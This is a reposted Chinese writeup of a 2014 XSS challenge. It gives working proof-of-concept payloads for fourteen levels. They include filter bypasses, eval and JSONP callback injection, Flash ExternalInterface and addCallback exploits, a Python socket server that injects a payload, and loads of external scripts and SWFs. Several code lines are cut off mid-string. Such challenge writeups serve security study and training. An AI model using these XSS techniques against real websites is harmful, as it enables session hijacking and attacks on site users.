无声杯 xss 挑战赛 writeup

转载

weixin_34129696 于 2018-03-08 10:51:15 发布 173 收藏
文章标签： php python
原文链接：https://juejin.im/post/5aa115a3f265da23a04922b1

> insight-labs · 2014/07/25 11:58

本次比赛参与人数3700多人，提交并获得了分数的正确答案共有1069条。最终有65名参赛者获得了奖品，一、二、三名分别由p.z，piaca和香草获得。答题结果的总体分布如下：

年龄越来越大，记性越来越差。就当做笔记吧（所有 POC 都只是为了通关）。

1. FB-0

这一关没什么可说的，直接给出 POC：

```
http://sandbox.host.smartgslb.com/fb0/xss1.php?code=</script><svg/onload=alert(1)//
复制代码
```

2. FB-01

这一关只有有个坑就是 正则

```
name=name.replace(/</,"&lt;");
复制代码
```

replace 没有使用全局 g 参数，造成只会替换字符串中的第一个 "<" 符号，所以这关的 POC：

```
http://sandbox.host.smartgslb.com/fb1/#code=<<svg/onload=alert(1)>
复制代码
```

3. FB-02

这一关访问很明显就是一段 js 代码，只是去掉了 `<script>`， 直接输入到页面上，但是通过 func 参数可以控制页面上的两个点。由于 POC 要求 chrome 有效，所以最初一直停留在绕 chrome 的 XSS Auditor 上了，浪费不少时间。后面重新换个思路，利用两个输出点，结合当前页面内容，通过下面 POC 过关：

```
http://sandbox.host.smartgslb.com/fb2/?func=';alert(1);</script><script>tpl={'
复制代码
```

4. FB-03

这一关比较简单，绕过对 page 的检测，加载一个外域的 JS 文件，直接给 POC：

```
http://sandbox.host.smartgslb.com/fb3/?page=//test.com/1
复制代码
```

5. FB-04

这一关的表单提交是用来迷惑的，重点在 eval，POC：

```
http://sandbox.host.smartgslb.com/fb4/?key=#";alert(1);"
复制代码
```

6. FB-05

这关的利用点是头像，表单提交，在 pic 中提交如下 POC：

```
upic=./img/head_2.png' onload=alert(1) '
复制代码
```

7. FB-06

这一题最主要的就是换行符，在 XSS挑战第二期 Writeup 中有提到，记性不好，以至于卡了很久。

这里有个关键的地方就是 `xss6.js` 中的：

```
var SERVER_TEMP  = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 进行安全验证
复制代码
```

这行代码让我们对 ? 失去了幻想，还记得 `FB-01` 里面的那个正则么，这里很神似，但是却更狠。所以我们需要一个换行符，普通的 %0D%0A 是不行的，所以这里需要 `&#x2028;`，由于 chrome 不能直接在浏览器中插入这个符号，所以我们通过一个 iframe 来引用它：

```
<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=dodo#"></
复制代码
```

user.php 这个 callback 接口有限制，还需要绕过这里的限制才能够执行 JS 代码，经过测试程序对几乎所有可以执行代码的关键字进行了过滤，但是对 [ ] ( ) . 等没有进行限制，可以通过下面的方法来绕过：

```
this[17795081..toString(36)](1)
复制代码
```

最后的 POC：

```
<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=this[1779
复制代码
```

8. FB-07

这一题需要的技巧真是不少，经过 pz 大牛的指点才过关的。 仔细看代码，思路就会很明确，就是要想办法执行下面的代码：

```
document.getElementById("username").innerHTML = '<a href="http://pkav.net/' + uid + '" target=_blank> 小白 <
复制代码
```

但是过程不容易，表面上需要解决下面两个难点：

1. 想办法让 jsDesert 的值不为 undefined，这样 jsDessert 的值才不会是 undefined，include 函数才能够正常执行
2. jsDessert[j0] 不为 false，include 的第二个参数，也就是传入的函数才能够执行

但是实际上如何解决呢，先来看第一个 jsDesert。页面执行下来，先去通过 DOM 去改变 iframe 的 src 为：http://appmaker.sinaapp.com/stat.php，这个页面中嵌入一段 JS 代码，我们能够通过 man 参数控制页面的一部分内容，这里是关键。

穿插一下：浏览器有个特性，支持直接以 id 或者 name 属性值获取元素，各浏览器之间会有差异，但是对于 IFRAME 几乎所有的浏览器都一样，详细的可以参考 各浏览器中对直接以 id 或者 name 属性值获取元素存在差异。

所以我们只要能够控制 id 为 x 的 IFRAME 的 name，把值设置为 jsDesert，JS 就能够通过 jsDesert 直接获取到 IFRAME，这样 jsDesert 就不为 undefined。怎么设置呢？在 IFRAME 中我们能够执行有限的 JS 代码，但是赋值还是可以的，所以通过 window.name=jsDesert 就可以，事实上程序对长度有限制，如果使用 window.name 会超出长度限制，所以通过 self.name 绕过，也就是下面的 URL：

```
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1
复制代码
```

这样，include 才不会报错，继续执行，加载另外一个 callback 文件：http://appmaker.sinaapp.com/nick.php。这个 callback 文件我们要控制 func，这里通过 # 来让程序使用我们的 func。

```
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=x#
复制代码
```

但是要想让 jsDessert[j0] 不为 false，可以通过 func 为 jsDessert 来覆盖掉 jsDessert，这样 jsDessert[j0] 为 undefined 同样不为 false。但是 func 有过滤策略，经过测试可以通过 self.jsDessert 来绕过，下面链接看效果：

```
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#
复制代码
```

到这里，POC 就很容易了：

```
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#">
<iframe/onload=alert(1)>
复制代码
```

9. FB-08

这题没解出来，结束后问 sogili，他说了两个字 *刷新* ，好吧，无限刷新下面的 POC，总会弹的：

```
http://sandbox.host.smartgslb.com/fb8/index.php?vul=alert(1);
复制代码
```

10. Flash-01

反编译 Flash ，在代码中可以看到，从 mp3 的 ID3 中取出的 songName 数据，进入到了 ExternalInterface.call 中，并且 mp3 文件受控于 mp3 参数。所以指定一个 mp3 文件，把 ID3 中的 songName 修改为 payload：

```
\"));alert(1);}catch(e){}//
复制代码
```

POC为：

```
http://sandbox.host.smartgslb.com/flash_1/XSSC1.swf?mp3=http://test.com/1.mp3
复制代码
```

11. Flash-02

Flash 类的题目从这题开始就都比较坑了，仍然反编译 Flash。经过一番那啥代码之后我们大概总结一下：

1. 传入 Flash 的两个参数 init 和 params 两个参数我们都可控
2. Flash 代码中的 ExternalInterface.call 都无法利用
3. Flash 通过 addCallback 公开一个 trace 方法给 JS 调用

又经过一番那啥代码，有了新的收获：

1. 可控的 init 参数我们可以指定为 Flash 公开出来的方法 trace，这样 Flash 就会调用这个 trace 方法
2. trace 方法返回的是 urlEncode 对 location.href 处理后的数据，location.href 我们可控，并且 addCallback 是会产生 XSS 问题的

思路明确，后面就需要搞定 urlEncode，根据这段函数写出下面的函数：

```
a = "\\\"});alert(1);//";
str = ""
for(i=0;i<a.length;i++){
        s = (((a.charCodeAt(i) - 1) % 127) - 10).toString(16);
        str = str + "%" + s;
}
console.log(str);
复制代码
```

得到 payload 为：

```
%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24
复制代码
```

最终的 POC 为：

```
http://sandbox.host.smartgslb.com/flash_2/?%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24&initfunc=docume
复制代码
```

12. Flash-03

先说依据，这一题光图案我就对了好久。仍旧是反编译 Flash。通过代码看到 Flash 可以加载一个我们可控的 Flash，只有当 img 的 width 和 height 值分别为 200 和 300 的时候才会把 XML 中的数据进入到 htmltext 中，so 我就开始疯狂调整 XML 中的参数，以达到过关目的。但是 width 和 height 是会受 xscale 和 yscale 影响的，在 Flash 代码中对这两个值做了限制就是不能大于 0.8，怎么调整 XML 中的这几个值都无法达到想要的效果，无意中把 width 和 height 值设置为 200 和 300，把 xscale 和 yscale 这两个值设置为 -1，结果竟然它就它就它就.....

所以 POC 为：

```
http://sandbox.host.smartgslb.com/flash_3/?url=//test.com/1.xml
复制代码
```

XML 文件的内容为：

```
<pkav>
    <rect width="200" height="300" xscale="-1" yscale="-1" rotate="-180">
        <successMsg>
        <![CDATA[
            <img src='http://xsst.sinaapp.com/Xss.swf'>
        ]]>
        </successMsg>
    </rect>
</pkav>
复制代码
```

13. Flash-04

这一题我最初是直接跳过，到最后才搞定的。还是反编译 Flash，通过分析代码看到 hostName 可以指定 Flash socket 连接的服务器，就去 google 了 Flash socket 相关的资料。

结合 html 中的提示 `xss with clickjacking` 和经过一番那啥代码和坑之后有了大概的思路：

1. 在可控的服务器上运行一个 Flash socket policy server，用于 Flash 加载安全策略文件
2. 在这个可控的服务器上运行一个 Flash socket server，用于向 Flash 发送数据（主要是点击 Flash 上的 用户登陆）
3. 当发送的数据达到一定的要求就会把数据进入到 ExternalInterface.call 中

先构建 Flash socket policy server，这个 google 下有现成的代码，可以参考下面连接的 python 代码：

```
http://114.215.178.29/static/projects/newgis.2013/etc/flex_socket_policy/flashpolicyd.py
复制代码
```

这个服务运行在 843 端口上，策略文件的内容为：

```
<?xml version="1.0"?><cross-domain-policy><site-control permitted-cross-domain-policies="all"/><allow-acces
复制代码
```

其次构建 Flash socket server，用于向 Flash 发送 payload，这里我首先通过一个 python echo server，运行在 6700 端口，观察 Flash 和该 socket server 通信的内容。经过来回倒腾两次大概知道了规律，所以更改了 python 代码，在接收到 Flash 发送过来的数据后直接修改最后的一部分数据为 payload，然后再发送到 Flash 上，代码如下：

```
#!/usr/bin/env python

import socket

host = ''
port = 6700
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(backlog)
while 1:
    client, address = s.accept()
    data = client.recv(size)
    if data:
        client.send(data[:-26] + "\\\"));}catch(e){alert(1)}//")
    client.close()
复制代码
```

把上面两个服务运行起来后，就有了 POC：

```
http://sandbox.host.smartgslb.com/flash_4/XSSC4.swf?hostName=test.com
复制代码
```

访问上面 POC，点击 用户登陆 即可。

14. Flash-05

这题过关的思路很清晰，就是通过 addChild 加载一个外部的 Flash 文件，但是如果加载呢，有难度。

html 页面传入两个参数 url 和 callback，url 就是传入到 Flash 中用 addChild 去加载，但是看了下 html 中对 url 的检测和过滤代码，几乎无望。希望只能够寄托到 callback 上。

仔细理了一下整个过程，url 和 callback 这两个参数组装成 JS 中的 data 对象，callback 可控的是对象的一个键值，那思路就应该是用 callback 去覆盖掉前面的 url，达到目的。如何覆盖呢，又陷入困境。

通过 IE 的 JS 调试器，一步一步的跟踪，看下数据的整个处理流程，发现了亮点。data 是一个对象，进入到 Flash 中是要转换成 XML 的，转换的主要函数为：

```
function __flash__objectToXML(obj) {
        var s = "<object>";
        for (var prop in obj) {
                s += "<property id=\"" + prop + "\">" + __flash__toXML(obj[prop]) + "</property>";
        }
        return s+"</object>";
}
复制代码
```

看到两点了么，通过遍历对象，然后把键和值生成一个 XML 值，在函数中是不对对象的健做任何处理的，正常页面中的 data 为：

```
data={"url":".\/o.png","pkav":"pkav"};
复制代码
```

经过处理后的 XML 值为：

```
<object><property id="url"><string>./o.png</string></property><property id="pkav"><string>pkav</string></pr
复制代码
```

我们把 callback 修改为：

```
url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x
复制代码
```

data 就变成了：

```
var data={"url":".\/o.png","url\"><string>http:\/\/xsst.sinaapp.com\/Xss.swf<\/string><\/property><property
复制代码
```

经过处理后的 XML 值为：

```
<object><property id="url"><string>./o.png</string></property><property id="url"><string>http://xsst.sinaap
复制代码
```

有两个 url，Flash 会认为最后一个 url 有效。这样就有了 POC：

```
http://sandbox.host.smartgslb.com/flash_5/?url=./o.png&callback=url"><string>http://xsst.sinaapp.com/Xss.sw
复制代码
```

over